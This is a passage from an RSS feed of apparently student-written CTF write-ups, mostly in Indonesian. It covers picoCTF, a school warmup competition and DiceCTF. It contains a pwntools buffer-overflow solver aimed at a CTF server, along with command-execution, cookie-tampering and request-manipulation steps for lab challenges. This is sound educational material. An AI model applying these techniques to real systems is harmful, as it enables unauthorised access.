src="https://cdn-images-1.medium.com/max/1024/1*hnxPCjACeBiyHkeErEkauw.png" /></figure><p>Kalau tadi <strong>intended</strong>, maka dengan cara <strong>unintended</strong> kita bisa menyebabkan <strong><em>Buffer Overflow</em></strong> di function manapun yang kita mau entah di <strong><em>serve_patrick</em></strong> ataupun di <strong><em>serve_bob</em></strong>. Dengan memberikan input yang sangat banyak saat kita diberikan kesempatan untuk menginput ke dalam Binary ELF nya, maka program akan memberikan error <strong><em>Segmentation Fault</em></strong> dan kita mendapatkan flagnya. Berikut solver yang digunakan untuk cara yang <strong>unintended</strong>-nya.</p><pre>from pwn import *<br><br>online = remote(&quot;mimas.picoctf.net&quot;, 59218)<br>context.binary = ELF(&quot;./format-string-0&quot;)<br><br>online.sendline(cyclic(120))<br><br>print(online.recvuntil(b&#39;yet!\n\n&#39;, drop=False).decode())<br>print(&quot;Flag :&quot;, online.recvline().decode())<br>online.close()</pre><p>Dan flag pun juga didapat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*0SxO-nVzoW89gWVkrkiiYw.png" /></figure><p><strong>FLAG : picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_63191ce6}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b900e3964ce8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Warmup LKS Jaktim 1 2025 Writeup (SMKN 26 Tim A)]]></title>
            <link>https://medium.com/@rasshaaa_.13/warmup-lks-jaktim-1-writeup-smkn-26-tim-a-9161130152af?source=rss-c577abab7da6------2</link>
            <guid isPermaLink="false">https://medium.com/p/9161130152af</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Rasshaaa]]></dc:creator>
            <pubDate>Thu, 10 Apr 2025 09:54:40 GMT</pubDate>
            <atom:updated>2025-04-10T10:31:58.804Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9bcasRztmJDc-tRa.png" /></figure><p>Warmup LKS JT1, tingkat kesulitannya sih jujur sebenernya very easy-medium, tapi karena kebanyakan overthinking jadinya ngesolve nya lama WKWKWKWK.</p><p>Berikut adalah cara solve seluruh challenge nya :</p><h3>Cryptography</h3><p><strong>1. New Encode</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*EWgSaCb6H8smj0lrTxmx4Q.png" /></figure><p>Alhamdulillah deskripsi yang membantu😂. Bisa dibaca saja penjelasannya karena menurut saya udah sangat jelas, sehingga kita bisa coba buka file encode.py nya aja untuk memastikan apakah cara kerjanya sesuai dengan deskripsi yang diberikan.</p><pre>text = &quot;missing&quot;, &quot;missing&quot;, &quot;missing&quot;, 78, &quot;missing&quot;, 84, 70, &quot;missing&quot;, &quot;missing&quot;, 118, &quot;missing&quot;, 110, &quot;missing&quot;, &quot;missing&quot;, 110, &quot;missing&quot;, &quot;missing&quot;, 100, &quot;missing&quot;, &quot;missing&quot;<br>ascii = []<br>listNumberMissing = [88, 82, 80, 72,128, 106,106, 100, 106,104, 116, 106, 130]<br><br>for i in text :<br>    if ord(i) % 2 != 0 :<br>        operation = ord(i) + 5<br>        ascii.append(operation)<br>    else :<br>        ascii.append(ord(i))</pre><p>Dan ternyata sesuai. Sehingga cara untuk men-decode flag kita maka kita hanya perlu membuat script dengan logic seperti ini :</p><p>a. Kalau di variabel text ada string “missing”, kita kurangi dengan angka 5 lalu hasilnya diubah yang merupakan angka menjadi ascii sehingga akan membentuk huruf.</p><p>b. Kalau di variabel text nya merupakan angka genap, maka langsung diubah saja ke Ascii karena mereka merupakan nilai ascii asli (bisa di-cek sendiri di <a href="https://www.prepostseo.com/tool/decimal-to-ascii">decimal to ascii</a>).</p><p>Sehingga beginilah solver yang saya gunakan :</p><pre>text = (&quot;missing&quot;, &quot;missing&quot;, &quot;missing&quot;, 78, &quot;missing&quot;, 84, 70, &quot;missing&quot;, &quot;missing&quot;, 118, &quot;missing&quot;, 110, &quot;missing&quot;, &quot;missing&quot;, 110, &quot;missing&quot;, &quot;missing&quot;, 100, &quot;missing&quot;, &quot;missing&quot;)<br>listNumberMissing = [88, 82, 80, 72, 128, 106, 106, 100, 106, 104, 116, 106, 130]<br><br>result = []<br>missing_index = 0<br><br>for item in text:<br>    if item == &quot;missing&quot;:<br>        original_ascii = listNumberMissing[missing_index] - 5<br>        result.append(chr(original_ascii))<br>        missing_index += 1<br>    else:<br>        result.append(chr(item))<br><br>decoded_message = &quot;&quot;.join(result)<br>print(&quot;Pesan asli:&quot;, decoded_message)</pre><p>Dan inilah hasilnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PsiTHKUHmhAO2rQ8kL9Hsg.png" /><figcaption>Males buka Kali jir jadi pake Google Colab aowkaowkaowk</figcaption></figure><p><strong>FLAG : SMKNCTF{even_encode}</strong></p><p><strong>2. New Encrypt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*Ce1KUzxFSoWA96LpeoJ-BA.png" /></figure><p>Alhamdulillah deskripsi yang membantu lagi😂 Mari kita coba pastikan apakah memang script encrypt.py hanya perlu key dari 1–100 saja untuk mendapatkan flagnya.</p><pre>text = &quot;5/-0%6(]PGYAGPETR[V_&quot;<br>key = None       # need number here from 1-100<br>final = []<br>for i in text :<br>    operation = ord(i) - key<br>    print(operation)<br>    final.append(chr(operation))<br><br>result = &quot;&quot;.join(final)<br><br>print(result)</pre><p>Dan ternyata script ini mengenkripsi dengan cara variabel text nya diubah menjadi integer lalu dikurang dengan key dan hasilnya diubah kembali ke dalam bentuk unicode. Karena proses enkripsinya hanya dikurangi dengan key saja, maka script solver kita hanya perlu menambahkan apa yang kita dapat di variabel text dengan key yang kita perlukan (range nya 1–100) baru hasilnya adalah flagnya. Berikut script decrypt dengan bruteforce key milik saya.</p><pre>encrypted_text = &quot;5/-0%6(]PGYAGPETR[V_&quot;<br><br>for key in range(1, 101):<br>    result = &quot;&quot;<br>    valid = True<br>    for char in encrypted_text:<br>        code = ord(char) + key<br>        if code &lt; 32:<br>            valid = False<br>            break<br>        result += chr(code)<br>    if valid:<br>        if &quot;SMKNCTF&quot; in result:<br>          print(f&quot;Kalo ini flag, maka ini key ke {key} = {result}&quot;)</pre><p>Dan inilah hasilnya :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*3QrROzVCKlXTZYvTAC2JBg.png" /></figure><p><strong>FLAG : SMKNCTF{new_encrypt}</strong></p><h3>Digital Forensic</h3><p><strong>1. Find Password</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*fCKsaiAgUGub921aEBb6Kw.png" /></figure><p>Disini kita diberikan 2 attachment yaitu username.txt yang berisi seperti ini :</p><pre>ihsan<br>bryan<br>sanmi<br>armando<br>keysha<br>ajis<br>agus<br>budi<br>udin<br>ahmad<br>cahaya<br>rahmat<br>dinda<br>dindin<br>kevin<br>xavier<br>cahyo<br>azus<br>dela<br>bela<br>belo<br>rivaldi<br>fajar<br>herdi<br>naila<br>siti<br>putri<br>salsabila<br>Fatimah<br>atta<br>thoriq<br>sansan<br>Raihan<br>reyhan<br>agung<br>adit<br>denis<br>sopo<br>jarwo<br>epen<br>erpan<br>evan<br>bagas<br>farrel<br>surya<br>azra<br>siti<br>safa<br>imanuel<br>restu<br>farhan<br>faith<br>rizky<br>zuanda<br>amir<br>ghiffary<br>zidan<br>andrew<br>ayudya<br>andini</pre><p>Dan password.txt yang berisi seperti ini :</p><pre>YXNkaWpzamRk<br>bWFudGFwcHVqaXdh<br>Y2lodXlrZXJlbg==<br>a2FtdWtva2tlcmVu<br>a2FtdWtva2tlcmVuCg==<br>Z2F0YXViaW5ndW5n<br>Z2Fjb3JraW5n<br>Y2llY29weXBhc3Rlbmlo<br>YnVrYWRpd2ViYmFzZTY0<br>amFuZ2FuZGliYWNh<br>bmdhcGFpbmxpaGF0<br>dGVydXNhamFiYWNh<br>aG1tbW1t<br>c2Fuc2FuMTIz<br>aXR1cGFzc3dvcmRueWE=<br>YXBh<br>bnlhcmlmbGFnPw==<br>Z2FrYWRh<br>ZGlzaW5p<br>Y29iYWNhcmlsYWdpdGVsaXRp<br>dGV0YXBzZW1hbmdhdA==<br>bGFuanV0dGVydXNz<br>amFuZ2FuYmVyaGVudGk=<br>FZXAPGS{cnagnat_zralrenu}<br>aGVsbG8sd29ybGQ=<br>bWFudGFw<br>Y2lodXl5eXl5<br>YmluZ3VuZ21hdW51bGlzYXBh<br>bWFudGFwa2VyZW5rb2s=<br>YXNsaWJpbmd1bmc=<br>bGFwZXI=<br>bWFrYW55dWs=<br>bGFwZXJnYWs/<br>bWFzaWhtZW5jYXJpbmloLV8t<br>ZGliaWxhbmdnYWthZGFrb2tmbGFnbnlh<br>dWRhaG55ZXJhaGFqYQ==<br>cGVyY2F5YWFqYQ==<br>Z2lsYXNpaG1hc2locGFudGFuZ21leWVyYWg=<br>ZW1hbmdwZW5nZW5iYW5nZXRkYXBldGluZmxhZw==<br>a2FjYXVtYXNpaHNlbWFuZ2F0bmlo<br>ZGlraXRsYWdpbmloZmxhZ255YQ==<br>bWkxMTEyMzM=<br>dGVydXNjYXJp<br>amFuZ2FuYmVyaGVudGlkaXNpbmk=<br>bGFuanV0bGFuanV0bGFuanV0<br>a2VyZW5jb3l5eQ==<br>YWxsaGFtdWRsaWxsYWg=<br>ZGlraXRsYWdp<br>YXlva2F5b2theW9r<br>a2VyZW5nYWtueWVyYWg=<br>bGFuanV0YWphdGVydXNz<br>c2lwYmFndXM=<br>dGV0YXBzZW1hbmdhdA==<br>c2Vtb2dhbWVuYW5nbGtzbnlh<br>YmlzYXRlbWJ1c25hc2lvbmFs<br>c2VtYW5nYXR5YWtr<br>bGFuanV0Z2Fza2Vubg==<br>bWFzaWhtZW5jYXJp<br>aW5pZmxhZ255YW5paA==<br>c2ViZW50YWFycnJycnI=</pre><p>Terlihat kalau sepertinya password ter-encode ke base64 sebagian besarnya (Jujur itu di filenya udah keliatan flagnya yang mana karena ada “{}” hehe, tapi karena penasaran aja). Jadi kita coba saja untuk mendecode semuanya dengan sedikit Python</p><pre>import base64<br><br>with open(&#39;/home/password.txt&#39;, &#39;r&#39;) as file:<br>    lines = file.readlines()<br><br>for line in lines:<br>    encoded = line.strip()<br>    try:<br>        decoded = base64.b64decode(encoded).decode()<br>        print(f&quot;{encoded} -&gt; {decoded}&quot;)<br>    except Exception as e:<br>        print(f&quot;{encoded} -&gt; [Error nih banh] {e}&quot;)</pre><p>Dan hasilnya seperti ini :</p><pre>YXNkaWpzamRk -&gt; asdijsjdd<br>bWFudGFwcHVqaXdh -&gt; mantappujiwa<br>Y2lodXlrZXJlbg== -&gt; cihuykeren<br>a2FtdWtva2tlcmVu -&gt; kamukokkeren<br>a2FtdWtva2tlcmVuCg== -&gt; kamukokkeren<br><br>Z2F0YXViaW5ndW5n -&gt; gataubingung<br>Z2Fjb3JraW5n -&gt; gacorking<br>Y2llY29weXBhc3Rlbmlo -&gt; ciecopypastenih<br>YnVrYWRpd2ViYmFzZTY0 -&gt; bukadiwebbase64<br>amFuZ2FuZGliYWNh -&gt; jangandibaca<br>bmdhcGFpbmxpaGF0 -&gt; ngapainlihat<br>dGVydXNhamFiYWNh -&gt; terusajabaca<br>aG1tbW1t -&gt; hmmmmm<br>c2Fuc2FuMTIz -&gt; sansan123<br>aXR1cGFzc3dvcmRueWE= -&gt; itupasswordnya<br>YXBh -&gt; apa<br>bnlhcmlmbGFnPw== -&gt; nyariflag?<br>Z2FrYWRh -&gt; gakada<br>ZGlzaW5p -&gt; disini<br>Y29iYWNhcmlsYWdpdGVsaXRp -&gt; cobacarilagiteliti<br>dGV0YXBzZW1hbmdhdA== -&gt; tetapsemangat<br>bGFuanV0dGVydXNz -&gt; lanjutteruss<br>amFuZ2FuYmVyaGVudGk= -&gt; janganberhenti<br>FZXAPGS{cnagnat_zralrenu} -&gt; [Error nih banh] Incorrect padding<br>aGVsbG8sd29ybGQ= -&gt; hello,world<br>bWFudGFw -&gt; mantap<br>Y2lodXl5eXl5 -&gt; cihuyyyyy<br>YmluZ3VuZ21hdW51bGlzYXBh -&gt; bingungmaunulisapa<br>bWFudGFwa2VyZW5rb2s= -&gt; mantapkerenkok<br>YXNsaWJpbmd1bmc= -&gt; aslibingung<br>bGFwZXI= -&gt; laper<br>bWFrYW55dWs= -&gt; makanyuk<br>bGFwZXJnYWs/ -&gt; lapergak?<br>bWFzaWhtZW5jYXJpbmloLV8t -&gt; masihmencarinih-_-<br>ZGliaWxhbmdnYWthZGFrb2tmbGFnbnlh -&gt; dibilanggakadakokflagnya<br>dWRhaG55ZXJhaGFqYQ== -&gt; udahnyerahaja<br>cGVyY2F5YWFqYQ== -&gt; percayaaja<br>Z2lsYXNpaG1hc2locGFudGFuZ21leWVyYWg= -&gt; gilasihmasihpantangmeyerah<br>ZW1hbmdwZW5nZW5iYW5nZXRkYXBldGluZmxhZw== -&gt; emangpengenbangetdapetinflag<br>a2FjYXVtYXNpaHNlbWFuZ2F0bmlo -&gt; kacaumasihsemangatnih<br>ZGlraXRsYWdpbmloZmxhZ255YQ== -&gt; dikitlaginihflagnya<br>bWkxMTEyMzM= -&gt; mi111233<br>dGVydXNjYXJp -&gt; teruscari<br>amFuZ2FuYmVyaGVudGlkaXNpbmk= -&gt; janganberhentidisini<br>bGFuanV0bGFuanV0bGFuanV0 -&gt; lanjutlanjutlanjut<br>a2VyZW5jb3l5eQ== -&gt; kerencoyyy<br>YWxsaGFtdWRsaWxsYWg= -&gt; allhamudlillah<br>ZGlraXRsYWdp -&gt; dikitlagi<br>YXlva2F5b2theW9r -&gt; ayokayokayok<br>a2VyZW5nYWtueWVyYWg= -&gt; kerengaknyerah<br>bGFuanV0YWphdGVydXNz -&gt; lanjutajateruss<br>c2lwYmFndXM= -&gt; sipbagus<br>dGV0YXBzZW1hbmdhdA== -&gt; tetapsemangat<br>c2Vtb2dhbWVuYW5nbGtzbnlh -&gt; semogamenanglksnya<br>YmlzYXRlbWJ1c25hc2lvbmFs -&gt; bisatembusnasional<br>c2VtYW5nYXR5YWtr -&gt; semangatyakk<br>bGFuanV0Z2Fza2Vubg== -&gt; lanjutgaskenn<br>bWFzaWhtZW5jYXJp -&gt; masihmencari<br>aW5pZmxhZ255YW5paA== -&gt; iniflagnyanih<br>c2ViZW50YWFycnJycnI= -&gt; sebentaarrrrrr</pre><p>Nah di hasilnya keliatan ada yang error seperti ini</p><pre>FZXAPGS{cnagnat_zralrenu} -&gt; [Error nih banh] Incorrect padding</pre><p>Jadi ya udah karena formatnya juga sama seperti flag dan sepertinya ini di-encode dengan cara di-shift, kita hanya perlu mencari tahu ini di-encode menggunakan shift ke-berapa. Karena flag berformat SMKNCTF, maka kita hanya perlu mendecode dengan clue tersebut. Langsung saja kita coba dengan sedikit Python</p><pre>def bruteforceshift():<br>    flag = &quot;FZXAPGS{cnagnat_zralrenu}&quot;<br>    for i in range(1, 26):<br>        result = &#39;&#39;<br>        for c in flag:<br>            if c.isupper():<br>                result += chr((ord(c) - ord(&#39;A&#39;) + i) % 26 + ord(&#39;A&#39;))<br>            elif c.islower():<br>                result += chr((ord(c) - ord(&#39;a&#39;) + i) % 26 + ord(&#39;a&#39;))<br>            else:<br>                result += c<br>        if &quot;SMKNCTF&quot; in result:<br>          print(f&#39;Kalo ini flag, maka ini shift ke {i} = {result}&#39;)<br><br>bruteforceshift()</pre><p>Dan inilah hasilnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GwKmlD29NwEg34ZgTun6OA.png" /></figure><p><strong>FLAG : SMKNCTF{pantang_menyerah}</strong></p><p><strong>2. Broken ZIP</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*1cqJc5B11gHV3GZuZ2ur8w.png" /><figcaption>Sumpah sebelumnya no deskripsi jir jadi ini lumayan hardcore</figcaption></figure><p>Jika dilihat sesuai deskripsi, kita diberikan file zip yang kehilangan 4 byte local signature file header zip nya dan cara agar bisa di-ekstrak yaitu dengan membetulkan hex dari signature file header zip nya. Sehingga kita hanya perlu menambahkan 4 byte signature file zip sesuai yang ada <a href="https://en.wikipedia.org/wiki/ZIP_(file_format)#Local_file_header">disini</a> dan jadi bisa di-ekstrak.</p><p>Tapi sebelum itu kita lebih baik lihat dulu hasil dari hex nya kira-kira seperti apa di <a href="https://hexed.it/">hexed.it</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kp1cbKshj1hI8wYXcSgF1w.png" /></figure><p>Terlihat kalau beberapa bytes ada disana. Nah kalau seperti ini, kesalahan yang sering terjadi (khususnya saya WKWKWKWK) adalah justru bytes yang ada di-depan malah di-overwrite jadi local file header nya, sehingga kalau seperti itu maka tidak ada yang berubah (saat di-ekstrak tetap tidak bisa karena output errornya masih menandakan kalo 4 bytes missing). Sehingga cara saya mengetahui apa yang harus dilakukan yaitu kita bandingkan saja dengan file zip asli strukturnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zAxbR6wYfsrwkqwyikmoqQ.png" /></figure><p>Dan terlihat, di file zip yang sesungguhnya itu sebelum byte yang 14 00 08 00 ada 4 bytes yang menjadi signature kalau file ini adalah file zip. Sehingga cara kita membuat file zip milik kita bisa di-ekstrak kembali yaitu bukan dengan meng-overwrite bytes nya, tetapi dengan cara kita menambahkan sebanyak 4 bytes baru di depan. Begini cara saya menambahkannya :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*awHNZjZttzjELKTiO4Pl1w.png" /><figcaption>Klik kanan di bagian awal dan pilih “insert bytes here”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*ZG5Hydq2UKOfBXBaOt1Z4g.png" /><figcaption>Isi jumlah bytes yang ingin ditambahkan sebanyak 4 bytes dan fill pattern nya isi langsung sama signature local file header zip</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*2RVncnd5r-Ni3aFc_LFVpg.png" /><figcaption>Tinggal save (ctrl + s), ekstrak, flag dapet dalam format png.</figcaption></figure><p><strong>FLAG : SMKNCTF{nice_try}</strong></p><h3>Web Exploitation</h3><p><strong>1. Web Command</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*kr-h_b1Bl0ugr1p_AJ8gjQ.png" /></figure><p>Sesuai deskripsi, websitenya bisa jalanin command linux dan flagnya ada di dalam file bernama file.txt, jadi hanya menjalankan command “cat file.txt” maka flag sudah diraih.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*Y1DKigZddyd7bRmFIy8pCg.png" /></figure><p><strong>FLAG : SMKNCTF{easy_peasy}</strong></p><p><strong>2. Cookie</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*FSHlxA0pewyCRHB7TnSNEA.png" /></figure><p>Jadi sesuai deskripsi lagi, kita hanya perlu mengubah value cookie di website nya menjadi sesuatu yang kita ingin cari yaitu flag. Sehingga kita bisa ubah value cookie nya aja jadi “flag” di inspect element bagian application dan flag pun diraih.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NzT_4DVTrsknhOYiMgyWPw.png" /><figcaption>Ubah value dari user dari “Guest” jadi “flag”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*S2hFwKTwRk5ni6GdeEUEXA.png" /></figure><p><strong>FLAG : SMKNCTF{akumaumakansianggratis}</strong></p><h3>Binary Exploitation</h3><p><strong>1. Binex Part One</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*5f0Z0QDvISgrPzUQTFjZDg.png" /></figure><p>Basic Buffer Overflow, kita hanya perlu mengirimkan input kita yang lebih dari 100 characters ke program binex1 dan dapatkan flagnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*ljZbnVxdgYsnZQ7v7ixWCg.png" /><figcaption>Ujung-ujungnya buka Kali ah elah😞</figcaption></figure><p><strong>FLAG : SMKNCTF{binexpartone}</strong></p><p><strong>2. Binex Part Two</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*hKpNvpGBAtSuNed1O-Tn5Q.png" /></figure><p>Sama, ganti jadi 200 aja.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*TinYuhKZ73Vn-6mZ4-Xszw.png" /></figure><p><strong>FLAG : SMKNCTF{goodjob}</strong></p><h3>Reverse Engineering</h3><p><strong>1. RE Part 1</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*xiBEMyjB8wyAOvDg7K-i4Q.png" /></figure><p>Alamak deskripsinya gak ngejelasin apa-apa. Ya udah kita coba buka aja file shell.py nya</p><pre>alphabet = &quot;abcdefghijklmn_p&quot;<br>flag = &quot;tfcmn4rtmolc&quot;<br>chiperText = []<br><br>for i in flag :<br>    if i in alphabet :<br>        indexElement = alphabet.index(i)<br>        if indexElement == 0 :<br>            chiperText.append(&quot;4&quot;)<br>        else :<br>            shiftOperation = indexElement - 2<br>            chiperText.append(alphabet[shiftOperation])<br>        <br>    else :<br>        chiperText.append(i)<br><br>finalChipertext = &quot;&quot;.join(chiperText)<br>print(finalChipertext)</pre><p>Dari script shell.py ini kita bisa menyimpulkan kalau flag diubah tiap alfabet dengan ditandai dengan index lalu dikurangi dalam variabel shiftOperation. Lalu untuk alphabet yang index nya 0 maka akan diubah menjadi angka 4, sisanya hanya diubah menjadi pesan rahasia biasa sehingga menghasilkan “tfcmn4rtmolc”. Yang dimana berarti ini membuktikan kalo angka 4 nanti hasilnya adalah huruf “a” sehingga message encrypted nya jadi “tfcmnartmolc”.</p><p>Sisanya hanya perlu pengubahan proses encrypt nya dari yang sebelumnya dikurang 2 indexElement nya menjadi ditambah 2, lalu untuk pengkondisian jika indexElement nya 0 maka diubah dari yang sebelumnya menjadi angka 4 diganti jadi huruf “a”. Sehingga begini solver saya :</p><pre>alphabet = &quot;abcdefghijklmn_p&quot;<br>flag = &quot;tfcmnartmolc&quot;<br>chiperText = []<br><br>for i in flag :<br>    if i in alphabet :<br>        indexElement = alphabet.index(i)<br>        if indexElement == 0 :<br>            chiperText.append(&quot;a&quot;)<br>        else :<br>            shiftOperation = indexElement + 2<br>            chiperText.append(alphabet[shiftOperation])<br>        <br>    else :<br>        chiperText.append(i)<br><br>finalChipertext = &quot;SMKNCTF{&quot; + &quot;&quot;.join(chiperText) + &quot;}&quot;<br>print(finalChipertext)</pre><p>Dan ini hasilnya</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*bur5GgBOQ8tX9sRLNHsqhg.png" /></figure><p><strong>FLAG : SMKNCTF{the_part_one}</strong></p><p><strong>2. RE Part Two</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*6ZNjtPmm3ki2qW_Zcsu-gg.png" /></figure><p>Ya ilah sama juga😞 Ya udah tinggal cek aja chall.py nya</p><pre>alphabet = &quot;abcdefghijklmnopqrstuvwxyz&quot;<br>flag = &quot;mctvqcsv&quot;<br>chiperText = []<br><br>wave = 0<br>for i in flag :<br>    elementIndex = alphabet.index(i)<br>    shiftOperation = elementIndex + 2**wave<br>    wave += 1<br>    if wave == 2 :<br>        wave -= 2<br><br>    chiperText.append(alphabet[shiftOperation])<br><br>finalChipertext = &quot;&quot;.join(chiperText)<br>print(finalChipertext)</pre><p>Kurang lebih sama kayak challenge sebelumnya, variabel shiftOperation yang sebelumnya ditambah dengan 2**wave jadi dikurang 2**wave sehingga begini solver saya</p><pre>alphabet = &quot;abcdefghijklmnopqrstuvwxyz&quot;<br>flag = &quot;mctvqcsv&quot;<br>chiperText = []<br><br>wave = 0<br>for i in flag :<br>    elementIndex = alphabet.index(i)<br>    shiftOperation = elementIndex - 2**wave<br>    wave += 1<br>    if wave == 2 :<br>        wave -= 2<br><br>    chiperText.append(alphabet[shiftOperation])<br><br>finalChipertext = &quot;SMKNCTF{&quot; + &quot;&quot;.join(chiperText) + &quot;}&quot;<br>print(finalChipertext)</pre><p>Dan ini hasilnya</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*ok8yrfLG9bcsA9vOBbkSMA.png" /></figure><p><strong>FLAG : SMKNCTF{lastpart}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9161130152af" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[cookie-recipes-v3 (DiceCTF 2025 Quals Writeup)]]></title>
            <link>https://medium.com/@rasshaaa_.13/cookie-recipes-v3-dicectf-2025-quals-writeup-630dcb92e9bf?source=rss-c577abab7da6------2</link>
            <guid isPermaLink="false">https://medium.com/p/630dcb92e9bf</guid>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Rasshaaa]]></dc:creator>
            <pubDate>Mon, 07 Apr 2025 14:54:09 GMT</pubDate>
            <atom:updated>2025-04-09T08:55:11.853Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/389/0*elAyylQqC9HHfO3T.png" /></figure><p>A few days ago I participated in a CTF competition called DiceCTF 2025. It was a great experience to participate in an international CTF again.</p><p>I managed to solve one of the web challenges that seemed the easiest compared to others called <strong><em>cookie-recipes-v3</em></strong>, and I found 2 methods to solve this challenge until I got the flag.</p><p>Here is how I solved the challenge :</p><p><strong>1. cookie-recipes-v3 (My own way but idk if this is intended or not XD)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*F2KYOYFT0T1ZWXB0.png" /></figure><p>Unhelpful description unfortunately😞 Let’s just take a look at the index.js file attachment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/0*NLOp9BroMpOQ81uk.png" /><figcaption>Part 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*yXYt8H-ClCclj3gf.png" /><figcaption>Part 2</figcaption></figure><p>If explained briefly, more or less this website works like a cookie shop with a cookie creation mechanism like this:</p><p>a. We can bake only 1 cookie when clicking the “Basic cookie recipe” button. By working every time we click that button, we will send an HTTP request with the post method to the /bake?number=1 endpoint as listed below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/0*_paoykUwVi1-Vp4W.png" /></figure><p>b. We can bake 12 cookies directly when clicking the “Advanced cookie recipe” button. By working every time we click the button, we will send an HTTP request with the post method to the /bake?number=12 endpoint as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/0*VAS4imXCUhtHIp1i.png" /></figure><p>c. We can bake 1,000,000 cookies directly when clicking the “Super cookie recipe” button. But unfortunately it is disabled and the source code does not indicate how it works.</p><p>Not just that, we can deliver the cookies also. The way it works is if we click “Deliver cookies” button then we will send an HTTP request with the post method to the /deliver endpoint and the results of the delivery will appear in the form of a pop-up alert as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/0*zyKKHxgYZK9SxiS6.png" /></figure><p>What interesting is, when we send an HTTP request to /deliver we will first check how many cookies we have made. And there is a target variable that reads 1_000_000 where if the cookies we have have not reached the target, it will tell us how many cookies are missing, if we have met the target then we will get the flag as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/0*gPJCY2f3py8ybOyw.png" /></figure><p>If so, can’t we just try to intercept the HTTP request and change it from “/bake?number=12” to “/bake?number=1000000000”? At first I tried that, but it turned out that it couldn’t because there is an additional mechanism in the /bake endpoint where if we send the value of the number parameter more than 2 characters then the result will issue an error “That is too many cookies” as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*h-f0oIvoGQeKJ15x.png" /></figure><p>I remembered, in the first line we are told that we will be given a cookie based on the result of the id variable as listed below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/0*xWu11RcKjSoksbiU.png" /></figure><p>Now suddenly I thought like this.</p><blockquote><em>“What happens if I change the current cookie value in my header to string ‘admin’?”</em></blockquote><p>So I just tried using the “cookie editor” extension (this is just a guess😂).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/0*1KmJ7XVrTKxlgagA.png" /><figcaption>We change the value to “admin”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/0*tFwiX-mNSkcG3iZo.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/0*DTm3mdHxysu2tXp3.png" /><figcaption>I swear it was around 400k originally. I think this is because I made the writeup 3+ weeks after the competition was over haha XD</figcaption></figure><p>Initially, I thought that changing the value to admin would get the appropriate number of cookies so I could get the flag. But because it’s still lacking so it seems like the only way is through the /bake endpoint.</p><p>I was confused about how to make it so that even though we only send 2 characters, it can be the same value as 1,000,000,000 cookies. But I just remembered that in the number variable in the post method of the /bake endpoint, it will take from the “number=12” parameter which is a query string. So suddenly I thought again like this.</p><blockquote><em>“Instead of entering a number which for me is an integer, why not just enter a string of letters?”</em></blockquote><p>So that’s why I tried changing the HTTP request to /bake?number=ad (from the word “admin”, but only 2 characters are taken lol).</p><p>So I just tried it in Burpsuite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Gz7VdHpF4FJhWk5r.png" /><figcaption>Forward this</figcaption></figure><figure><img alt="" 